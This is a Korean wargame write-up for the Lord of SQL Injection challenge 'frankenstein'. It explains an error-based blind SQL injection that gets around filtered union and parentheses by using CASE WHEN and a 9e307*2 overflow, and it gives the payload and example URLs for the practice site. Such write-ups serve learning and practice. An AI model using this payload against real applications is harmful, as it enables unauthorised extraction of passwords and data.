$ 웹 해킹 $/los.rubiya.kr

[Lord of SQL_injection] #28 frankenstein

ws1004 2019. 10. 25. 22:42

 

문제를 보면 일단 if(mysqli_error($db)) exit("error"); 를 보면 결과가 나오지 않고 error 가 일어났을 때 에러가 출력되는 error base sql injection 문제입니다.

 

union과 (, ) 가 필터링 되는 것으로 보아 if문을 이용한 union select 에러를 일으 킬수 없을 것 같아서 case when else ~ end 를 이용하기로 했습니다.

 

에러로 mysql 에서는 9e307*N의 형식으로 값을 넘기면 Logical Error 를 띄어서 error가 나게 됩니다.

 

페이로드 : ?pw=1' or case when id='admin' and pw like '[ ]%' then 9e307*2 else 0 end%23 

 

https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?pw=1%27%20or%20case%20when%20id=%27admin%27%20and%20pw%20like%20%27a%%27%20then%209e307*2%20else%200%20end%23

↑ 올바르지 않은 문자를 넣었을때 : 'a%'

 

https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?pw=1%27%20or%20case%20when%20id=%27admin%27%20and%20pw%20like%20%270%%27%20then%209e307*2%20else%200%20end%23

↑ 올바른 문자를 넣었을때 : '0%'

 

 

error 를 출력합니다.

 

이제 python 코드를 통해서 문제를 해결 해 보겠습니다.